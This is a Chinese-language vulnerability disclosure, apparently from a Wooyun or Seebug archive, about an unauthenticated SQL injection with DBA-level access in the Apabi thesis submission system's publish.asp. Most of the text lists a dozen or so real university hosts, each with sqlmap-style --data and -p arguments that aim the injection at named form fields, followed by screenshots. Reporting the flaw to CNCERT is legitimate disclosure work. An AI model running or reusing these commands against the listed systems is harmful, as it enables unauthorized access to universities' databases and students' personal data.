某高校在用系统sql注入（打包）（DBA）（无需登录）

### 简要描述： 1 ### 详细说明： 案例较多，给CNCERT ### 漏洞证明： Apabi论文授权提交系统 版权所有© 北京方正阿帕比技术有限公司 谷歌搜索：论文授权提交系统 北京大学复旦大学什么的都在其中~ [<img src="https://images.seebug.org/upload/201503/10204100acb06035995d1b51d7850b163d871611.png" alt="060814241c327099951e4c60760c02105295ae87.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/10204100acb06035995d1b51d7850b163d871611.png) 漏洞文件publish.asp 里的txtStuName,txtStuNo,cboCollege,cboSubjectClass,txtMajor,inputStartDate,inputEndDate 案例 210.44.126.14/tasi/admin/publish/publish.asp?action=querylist --data "txtStuName=ww&txtStuNo=&cboCollege=&cboDegreeType=0&cboSubjectClass=&cboSubject=&txtMajor=&inputStartDate=&inputEndDate=&publish=-1&public=-1" -p "txtStuName,txtStuNo,cboCollege,,cboSubjectClass,cboSubject,txtMajor,inputStartDate,inputEndDate" 202.195.243.37/tasi/admin/publish/publish.asp?action=querylist --data "txtStuName=ww&txtStuNo=&cboCollege=&cboDegreeType=0&cboSubjectClass=&cboSubject=&txtMajor=&inputStartDate=&inputEndDate=&publish=-1&public=-1" -p "txtStuName,txtStuNo,cboCollege,,cboSubjectClass,cboSubject,txtMajor,inputStartDate,inputEndDate" 202.120.121.200/tasi/admin/publish/publish.asp?action=querylist --data "txtStuName=ww&txtStuNo=&cboCollege=&cboDegreeType=0&cboSubjectClass=&cboSubject=&txtMajor=&inputStartDate=&inputEndDate=&publish=-1&public=-1" -p "txtStuName,txtStuNo,cboCollege,,cboSubjectClass,cboSubject,txtMajor,inputStartDate,inputEndDate" pss.uestc.edu.cn/tasi/admin/publish/publish.asp?action=querylist --data "txtStuName=ww&txtStuNo=&cboCollege=&cboDegreeType=0&cboSubjectClass=&cboSubject=&txtMajor=&inputStartDate=&inputEndDate=&publish=-1&public=-1" -p "txtStuName,txtStuNo,cboCollege,,cboSubjectClass,cboSubject,txtMajor,inputStartDate,inputEndDate" 202.203.222.222/tasi/admin/publish/publish.asp?action=querylist --data "txtStuName=ww&txtStuNo=&cboCollege=&cboDegreeType=0&cboSubjectClass=&cboSubject=&txtMajor=&inputStartDate=&inputEndDate=&publish=-1&public=-1" -p "txtStuName,txtStuNo,cboCollege,,cboSubjectClass,cboSubject,txtMajor,inputStartDate,inputEndDate" 218.242.146.229/tasi/admin/publish/publish.asp?action=querylist --data "txtStuName=ww&txtStuNo=&cboCollege=&cboDegreeType=0&cboSubjectClass=&cboSubject=&txtMajor=&inputStartDate=&inputEndDate=&publish=-1&public=-1" -p "txtStuName,txtStuNo,cboCollege,,cboSubjectClass,cboSubject,txtMajor,inputStartDate,inputEndDate" 202.193.70.164/TASi/admin/publish/publish.asp?action=querylist --data "txtStuName=ww&txtStuNo=&cboCollege=&cboDegreeType=0&cboSubjectClass=&cboSubject=&txtMajor=&inputStartDate=&inputEndDate=&publish=-1&public=-1" -p "txtStuName,txtStuNo,cboCollege,,cboSubjectClass,cboSubject,txtMajor,inputStartDate,inputEndDate" 202.120.227.60/tasi/admin/publish/publish.asp?action=querylist --data "txtStuName=ww&txtStuNo=&cboCollege=&cboDegreeType=0&cboSubjectClass=&cboSubject=&txtMajor=&inputStartDate=&inputEndDate=&publish=-1&public=-1" -p "txtStuName,txtStuNo,cboCollege,,cboSubjectClass,cboSubject,txtMajor,inputStartDate,inputEndDate" 59.72.151.17:8000/admin/publish/publish.asp?action=querylist --data "txtStuName=ww&txtStuNo=&cboCollege=&cboDegreeType=0&cboSubjectClass=&cboSubject=&txtMajor=&inputStartDate=&inputEndDate=&publish=-1&public=-1" -p "txtStuName,txtStuNo,cboCollege,,cboSubjectClass,cboSubject,txtMajor,inputStartDate,inputEndDate" 202.197.127.125/tasi/admin/publish/publish.asp?action=querylist --data "txtStuName=ww&txtStuNo=&cboCollege=&cboDegreeType=0&cboSubjectClass=&cboSubject=&txtMajor=&inputStartDate=&inputEndDate=&publish=-1&public=-1" -p "txtStuName,txtStuNo,cboCollege,,cboSubjectClass,cboSubject,txtMajor,inputStartDate,inputEndDate" 218.199.187.117:8080/admin/publish/publish.asp?action=querylist --data "txtStuName=ww&txtStuNo=&cboCollege=&cboDegreeType=0&cboSubjectClass=&cboSubject=&txtMajor=&inputStartDate=&inputEndDate=&publish=-1&public=-1" -p "txtStuName,txtStuNo,cboCollege,,cboSubjectClass,cboSubject,txtMajor,inputStartDate,inputEndDate" 202.119.83.2/apatasi30/admin/publish/publish.asp?action=querylist --data "txtStuName=ww&txtStuNo=&cboCollege=&cboDegreeType=0&cboSubjectClass=&cboSubject=&txtMajor=&inputStartDate=&inputEndDate=&publish=-1&public=-1" -p "txtStuName,txtStuNo,cboCollege,,cboSubjectClass,cboSubject,txtMajor,inputStartDate,inputEndDate" 218.242.146.229/tasi/admin/publish/publish.asp?action=querylist --data "txtStuName=ww&txtStuNo=&cboCollege=&cboDegreeType=0&cboSubjectClass=&cboSubject=&txtMajor=&inputStartDate=&inputEndDate=&publish=-1&public=-1" -p "txtStuName,txtStuNo,cboCollege,,cboSubjectClass,cboSubject,txtMajor,inputStartDate,inputEndDate" [<img src="https://images.seebug.org/upload/201503/1020444840d23f8b10ed1fc330aa5ccc199045ef.png" alt="屏幕截图(974).png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/1020444840d23f8b10ed1fc330aa5ccc199045ef.png) [<img src="https://images.seebug.org/upload/201503/10204457d71f966d03d59eb55683d304e0df5344.png" alt="屏幕截图(975).png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/10204457d71f966d03d59eb55683d304e0df5344.png) [<img src="https://images.seebug.org/upload/201503/102141207fd8fdad7cdb52bb13b752a9163e57ac.png" alt="屏幕截图(980).png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/102141207fd8fdad7cdb52bb13b752a9163e57ac.png) [<img src="https://images.seebug.org/upload/201503/10214132be42931e37dac2236d25ee0475f42fcd.png" alt="屏幕截图(981).png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/10214132be42931e37dac2236d25ee0475f42fcd.png) [<img src="https://images.seebug.org/upload/201503/1021414265efee94d14b63cdff1dca5b60f9434b.png" alt="屏幕截图(982).png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/1021414265efee94d14b63cdff1dca5b60f9434b.png) [<img src="https://images.seebug.org/upload/201503/102141506643120c21cb4983d25c15103fa10744.png" alt="屏幕截图(983).png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/102141506643120c21cb4983d25c15103fa10744.png)